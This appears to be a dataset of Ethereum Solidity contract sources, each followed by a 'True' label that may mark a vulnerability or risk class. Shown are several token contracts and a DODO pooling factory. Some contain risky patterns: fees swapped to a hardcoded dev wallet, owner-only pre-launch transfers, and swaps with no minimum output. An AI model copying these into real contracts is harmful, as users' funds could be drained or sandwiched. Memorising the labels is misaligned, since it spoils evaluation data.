dividendTracker = new BRBTDividendTracker();
liquidityWallet = owner();
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
// Create a uniswap pair for this new token
address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = _uniswapV2Pair;
_setAutomatedMarketMakerPair(_uniswapV2Pair, true);
// exclude from receiving dividends
dividendTracker.excludeFromDividends(address(dividendTracker));
dividendTracker.excludeFromDividends(address(this));
dividendTracker.excludeFromDividends(owner());
dividendTracker.excludeFromDividends(address(_uniswapV2Router));
dividendTracker.excludeFromDividends(address(0x000000000000000000000000000000000000dEaD));
// exclude from paying fees or having max transaction amount
excludeFromFees(liquidityWallet);
excludeFromFees(address(this));
// enable owner wallet to send tokens before presales are over.
canTransferBeforeTradingIsEnabled[owner()] = true;
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(owner(), 1000000000 * (10**18));
}
receive() external payable {
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "BRITNEYBITCH: The PancakeSwap pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
require(automatedMarketMakerPairs[pair] != value, "BRITNEYBITCH: Automated market maker pair is already set to that value");
automatedMarketMakerPairs[pair] = value;
if(value) {
dividendTracker.excludeFromDividends(pair);
}
emit SetAutomatedMarketMakerPair(pair, value);
}
function excludeFromFees(address account) public onlyOwner {
require(!_isExcludedFromFees[account], "BRITNEYBITCH: Account is already excluded from fees");
_isExcludedFromFees[account] = true;
}
function updateGasForTransfer(uint256 gasForTransfer) external onlyOwner {
dividendTracker.updateGasForTransfer(gasForTransfer);
}
function updateGasForProcessing(uint256 newValue) public onlyOwner {
// Need to make gas fee customizable to future-proof against Ethereum network upgrades.
require(newValue != gasForProcessing, "BRITNEYBITCH: Cannot update gasForProcessing to same value");
emit GasForProcessingUpdated(newValue, gasForProcessing);
gasForProcessing = newValue;
}
function updateClaimWait(uint256 claimWait) external onlyOwner {
dividendTracker.updateClaimWait(claimWait);
}
function getGasForTransfer() external view returns(uint256) {
return dividendTracker.gasForTransfer();
}
function enableDisableDevFee(bool _devFeeEnabled ) public returns (bool){
require(msg.sender == liquidityWallet, "Only Dev Address can disable dev fee");
_swapEnabled = _devFeeEnabled;
return(_swapEnabled);
}
function setMaxBuyEnabled(bool enabled ) external onlyOwner {
_maxBuyEnabled = enabled;
}
function getClaimWait() external view returns(uint256) {
return dividendTracker.claimWait();
}
function getTotalDividendsDistributed() external view returns (uint256) {
return dividendTracker.totalDividendsDistributed();
}
function isExcludedFromFees(address account) public view returns(bool) {
return _isExcludedFromFees[account];
}
function withdrawableDividendOf(address account) public view returns(uint256) {
return dividendTracker.withdrawableDividendOf(account);
}
function dividendTokenBalanceOf(address account) public view returns (uint256) {
return dividendTracker.balanceOf(account);
}
function getAccountDividendsInfo(address account)
external view returns (
address,
int256,
int256,
uint256,
uint256,
uint256,
uint256,
uint256) {
return dividendTracker.getAccount(account);
}
function getAccountDividendsInfoAtIndex(uint256 index)
external view returns (
address,
int256,
int256,
uint256,
uint256,
uint256,
uint256,
uint256) {
return dividendTracker.getAccountAtIndex(index);
}
function processDividendTracker(uint256 gas) external {
(uint256 iterations, uint256 claims, uint256 lastProcessedIndex) = dividendTracker.process(gas);
emit ProcessedDividendTracker(iterations, claims, lastProcessedIndex, false, gas, tx.origin);
}
function claim() external {
dividendTracker.processAccount(payable(msg.sender), false);
}
function getLastProcessedIndex() external view returns(uint256) {
return dividendTracker.getLastProcessedIndex();
}
function getNumberOfDividendTokenHolders() external view returns(uint256) {
return dividendTracker.getNumberOfTokenHolders();
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
//to prevent bots both buys and sells will have a max on launch after only sells will
if(from != owner() && to != owner() && _maxBuyEnabled)
require(amount <= MAX_SELL_TRANSACTION_AMOUNT, "Transfer amount exceeds the maxTxAmount.");
bool tradingIsEnabled = tradingEnabled;
// only whitelisted addresses can make transfers before the public presale is over.
if (!tradingIsEnabled) {
require(canTransferBeforeTradingIsEnabled[from], "BRITNEYBITCH: This account cannot send tokens until trading is enabled");
}
if ((from == uniswapV2Pair || to == uniswapV2Pair) && tradingIsEnabled) {
//require(!antiBot.scanAddress(from, uniswapV2Pair, tx.origin), "Beep Beep Boop, You're a piece of poop");
// require(!antiBot.scanAddress(to, uniswair, tx.origin), "Beep Beep Boop, You're a piece of poop");
}
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (!liquidating &&
tradingIsEnabled &&
automatedMarketMakerPairs[to] && // sells only by detecting transfer to automated market maker pair
from != address(uniswapV2Router) && //router -> pair is removing liquidity which shouldn't have max
!_isExcludedFromFees[to] //no max for those excluded from fees
) {
require(amount <= MAX_SELL_TRANSACTION_AMOUNT, "Sell transfer amount exceeds the MAX_SELL_TRANSACTION_AMOUNT.");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= liquidateTokensAtAmount;
if (tradingIsEnabled &&
canSwap &&
_swapEnabled &&
!liquidating &&
!automatedMarketMakerPairs[from] &&
from != liquidityWallet &&
to != liquidityWallet
) {
liquidating = true;
uint256 swapTokens = contractTokenBalance.mul(LIQUIDITY_FEE).div(TOTAL_FEES);
swapAndSendToDev(swapTokens);
uint256 sellTokens = balanceOf(address(this));
swapAndSendDividends(sellTokens);
liquidating = false;
}
bool takeFee = tradingIsEnabled && !liquidating;
// if any account belongs to _isExcludedFromFee account then remove the fee
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
if (takeFee) {
uint256 fees = amount.mul(TOTAL_FEES).div(100);
amount = amount.sub(fees);
super._transfer(from, address(this), fees);
}
super._transfer(from, to, amount);
try dividendTracker.setBalance(payable(from), balanceOf(from)) {} catch {}
try dividendTracker.setBalance(payable(to), balanceOf(to)) {} catch {
}
if (!liquidating) {
uint256 gas = gasForProcessing;
try dividendTracker.process(gas) returns (uint256 iterations, uint256 claims, uint256 lastProcessedIndex) {
emit ProcessedDividendTracker(iterations, claims, lastProcessedIndex, true, gas, tx.origin);
} catch {
}
}
}
function swapAndSendToDev(uint256 tokens) private {
uint256 tokenBalance = tokens;
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(tokenBalance); // <- breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
address payable _devAndMarketingAddress = payable(0xe31E1916a475A4b80dDC7c93c989f83e999124F1);
_devAndMarketingAddress.transfer(newBalance);
emit SwapAndSendToDev(tokens, newBalance);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function swapAndSendDividends(uint256 tokens) private {
swapTokensForEth(tokens);
uint256 dividends = address(this).balance;
(bool success,) = address(dividendTracker).call{value: dividends}("");
if (success) {
emit SentDividends(tokens, dividends);
}
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-05-14
*/
pragma solidity ^0.4.24;
// ----------------------------------------------------------------------------
//
// Enjoy.
//
// (c) by Juan Cruz Martinez 2020. MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Lib: Safe Math
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
/**
ERC Token Standard #20 Interface
https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
*/
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
/**
Contract function to receive approval and execute function in one call
Borrowed from MiniMeToken
*/
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
/**
ERC20 Token, with the addition of symbol, name and decimals and assisted token transfers
*/
contract LCSTToken is ERC20Interface, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "CHOW";
name = "CHOW Token";
decimals = 18;
_totalSupply = 1000000000000000000000000000000000000000000000000000;
balances[0x15D0f360be5FBc7cFAAc409c1055F5308331296F] = _totalSupply;
emit Transfer(address(0), 0x15D0f360be5FBc7cFAAc409c1055F5308331296F, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
} | True | [
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pragma solidity ^0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract UMINT24 is StandardToken {
string public constant name = "uMINT24"; // solium-disable-line uppercase
string public constant symbol = "UM24"; // solium-disable-line uppercase
uint8 public constant decimals = 18; // solium-disable-line uppercase
uint256 public constant INITIAL_SUPPLY = 100000000 * (10 ** uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
}
//Code derived from OpenZeppelin / Zeppelin-Solidity library
/**The MIT License (MIT)
*
*Copyright (c) 2016 Smart Contract Solutions, Inc.
*
*Permission is hereby granted, free of charge, to any person obtaining
*a copy of this software and associated documentation files (the
*"Software"), to deal in the Software without restriction, including
*without limitation the rights to use, copy, modify, merge, publish,
*distribute, sublicense, and/or sell copies of the Software, and to
*permit persons to whom the Software is furnished to do so, subject to
*the following conditions:
*
*The above copyright notice and this permission notice shall be included
*in all copies or substantial portions of the Software.
*
*THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
*OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
*MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
*IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
*CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
*TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
*SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//Code customized, compiled, and deployed by uMINT.io. | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-03-13
*/
// File: contracts/lib/InitializableOwnable.sol
/*
Copyright 2020 DODO ZOO.
SPDX-License-Identifier: Apache-2.0
*/
pragma solidity 0.6.9;
pragma experimental ABIEncoderV2;
/**
* @title Ownable
* @author DODO Breeder
*
* @notice Ownership related functions
*/
contract InitializableOwnable {
address public _OWNER_;
address public _NEW_OWNER_;
bool internal _INITIALIZED_;
// ============ Events ============
event OwnershipTransferPrepared(address indexed previousOwner, address indexed newOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// ============ Modifiers ============
modifier notInitialized() {
require(!_INITIALIZED_, "DODO_INITIALIZED");
_;
}
modifier onlyOwner() {
require(msg.sender == _OWNER_, "NOT_OWNER");
_;
}
// ============ Functions ============
function initOwner(address newOwner) public notInitialized {
_INITIALIZED_ = true;
_OWNER_ = newOwner;
}
function transferOwnership(address newOwner) public onlyOwner {
emit OwnershipTransferPrepared(_OWNER_, newOwner);
_NEW_OWNER_ = newOwner;
}
function claimOwnership() public {
require(msg.sender == _NEW_OWNER_, "INVALID_CLAIM");
emit OwnershipTransferred(_OWNER_, _NEW_OWNER_);
_OWNER_ = _NEW_OWNER_;
_NEW_OWNER_ = address(0);
}
}
// File: contracts/lib/CloneFactory.sol
interface ICloneFactory {
function clone(address prototype) external returns (address proxy);
}
// introduction of proxy mode design: https://docs.openzeppelin.com/upgrades/2.8/
// minimum implementation of transparent proxy: https://eips.ethereum.org/EIPS/eip-1167
contract CloneFactory is ICloneFactory {
function clone(address prototype) external override returns (address proxy) {
bytes20 targetBytes = bytes20(prototype);
assembly {
let clone := mload(0x40)
mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(clone, 0x14), targetBytes)
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
proxy := create(0, clone, 0x37)
}
return proxy;
}
}
// File: contracts/CrowdPooling/intf/ICP.sol
interface ICP {
function init(
address[] calldata addressList,
uint256[] calldata timeLine,
uint256[] calldata valueList,
bool isOpenTWAP
) external;
function bid(address to) external;
function cancel(address assetTo, uint256 amount) external;
function settle() external;
function emergencySettle() external;
function claimBase() external;
function claimQuote() external;
function claimLPToken() external;
}
// File: contracts/lib/SafeMath.sol
/**
* @title SafeMath
* @author DODO Breeder
*
* @notice Math operations with safety checks that revert on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "MUL_ERROR");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "DIVIDING_ERROR");
return a / b;
}
function divCeil(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 quotient = div(a, b);
uint256 remainder = a - quotient * b;
if (remainder > 0) {
return quotient + 1;
} else {
return quotient;
}
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SUB_ERROR");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "ADD_ERROR");
return c;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = x / 2 + 1;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
// File: contracts/intf/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
// File: contracts/lib/DecimalMath.sol
/**
* @title DecimalMath
* @author DODO Breeder
*
* @notice Functions for fixed point number with 18 decimals
*/
library DecimalMath {
using SafeMath for uint256;
uint256 internal constant ONE = 10**18;
uint256 internal constant ONE2 = 10**36;
function mulFloor(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(d) / (10**18);
}
function mulCeil(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(d).divCeil(10**18);
}
function divFloor(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(10**18).div(d);
}
function divCeil(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(10**18).divCeil(d);
}
function reciprocalFloor(uint256 target) internal pure returns (uint256) {
return uint256(10**36).div(target);
}
function reciprocalCeil(uint256 target) internal pure returns (uint256) {
return uint256(10**36).divCeil(target);
}
}
// File: contracts/Factory/UpCrowdPoolingFactory.sol
/**
* @title UpCrowdPoolingFacotry
* @author DODO Breeder
*
* @notice Create And Register vary price CP Pools
*/
contract UpCrowdPoolingFactory is InitializableOwnable {
using SafeMath for uint256;
// ============ Templates ============
address public immutable _CLONE_FACTORY_;
address public immutable _DVM_FACTORY_;
address public immutable _DEFAULT_MAINTAINER_;
address public immutable _DEFAULT_MT_FEE_RATE_MODEL_;
address public immutable _DEFAULT_PERMISSION_MANAGER_;
address public _CP_TEMPLATE_;
// ============ Settings =============
uint256 public _FREEZE_DURATION_ = 30 days;
uint256 public _CALM_DURATION_ = 0;
uint256 public _VEST_DURATION_ = 0;
uint256 public _CLIFF_RATE_ = 10**18;
// ============ Registry ============
// base -> quote -> CP address list
mapping(address => mapping(address => address[])) public _REGISTRY_;
// creator -> CP address list
mapping(address => address[]) public _USER_REGISTRY_;
// ============ modifiers ===========
modifier valueCheck(
address cpAddress,
address baseToken,
uint256[] memory timeLine,
uint256[] memory valueList)
{
require(timeLine[2] <= _CALM_DURATION_, "CP_FACTORY : PHASE_CALM_DURATION_INVALID");
require(timeLine[4] == _VEST_DURATION_, "CP_FACTORY : VEST_DURATION_INVALID");
require(valueList[3] == _CLIFF_RATE_, "CP_FACTORY : CLIFF_RATE_INVALID");
require(timeLine[3] >= _FREEZE_DURATION_, "CP_FACTORY : FREEZE_DURATION_INVALID");
_;
}
// ============ Events ============
event NewCP(
address baseToken,
address quoteToken,
address creator,
address cp
);
constructor(
address cloneFactory,
address cpTemplate,
address dvmFactory,
address defaultMaintainer,
address defaultMtFeeRateModel,
address defaultPermissionManager
) public {
_CLONE_FACTORY_ = cloneFactory;
_CP_TEMPLATE_ = cpTemplate;
_DVM_FACTORY_ = dvmFactory;
_DEFAULT_MAINTAINER_ = defaultMaintainer;
_DEFAULT_MT_FEE_RATE_MODEL_ = defaultMtFeeRateModel;
_DEFAULT_PERMISSION_MANAGER_ = defaultPermissionManager;
}
// ============ Functions ============
function createCrowdPooling() external returns (address newCrowdPooling) {
newCrowdPooling = ICloneFactory(_CLONE_FACTORY_).clone(_CP_TEMPLATE_);
}
function initCrowdPooling(
address cpAddress,
address creator,
address baseToken,
address quoteToken,
uint256[] memory timeLine,
uint256[] memory valueList,
bool isOpenTWAP
) external valueCheck(cpAddress,baseToken,timeLine,valueList) {
{
address[] memory addressList = new address[](7);
addressList[0] = creator;
addressList[1] = _DEFAULT_MAINTAINER_;
addressList[2] = baseToken;
addressList[3] = quoteToken;
addressList[4] = _DEFAULT_PERMISSION_MANAGER_;
addressList[5] = _DEFAULT_MT_FEE_RATE_MODEL_;
addressList[6] = _DVM_FACTORY_;
if(valueList[0] == 0) valueList[0] = uint112(-1);
ICP(cpAddress).init(
addressList,
timeLine,
valueList,
isOpenTWAP
);
}
_REGISTRY_[baseToken][quoteToken].push(cpAddress);
_USER_REGISTRY_[creator].push(cpAddress);
emit NewCP(baseToken, quoteToken, creator, cpAddress);
}
// ============ View Functions ============
function getCrowdPooling(address baseToken, address quoteToken)
external
view
returns (address[] memory pools)
{
return _REGISTRY_[baseToken][quoteToken];
}
function getCrowdPoolingBidirection(address token0, address token1)
external
view
returns (address[] memory baseToken0Pools, address[] memory baseToken1Pools)
{
return (_REGISTRY_[token0][token1], _REGISTRY_[token1][token0]);
}
function getCrowdPoolingByUser(address user)
external
view
returns (address[] memory pools)
{
return _USER_REGISTRY_[user];
}
// ============ Owner Functions ============
function updateCPTemplate(address _newCPTemplate) external onlyOwner {
_CP_TEMPLATE_ = _newCPTemplate;
}
function setFreezeDuration(uint256 _newFreeDuration) public onlyOwner {
_FREEZE_DURATION_ = _newFreeDuration;
}
function setCalmDuration(uint256 _newCalmDuration) public onlyOwner {
_CALM_DURATION_ = _newCalmDuration;
}
function setVestDuration(uint256 _newVestDuration) public onlyOwner {
_VEST_DURATION_ = _newVestDuration;
}
function setCliffRate(uint256 _newCliffRate) public onlyOwner {
require(_newCliffRate <= 10**18, "CP_FACTORY : INVALID");
_CLIFF_RATE_ = _newCliffRate;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-03-21
*/
// Sources flattened with hardhat v2.9.1 https://hardhat.org
// File @openzeppelin/contracts/utils/math/[email protected]
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
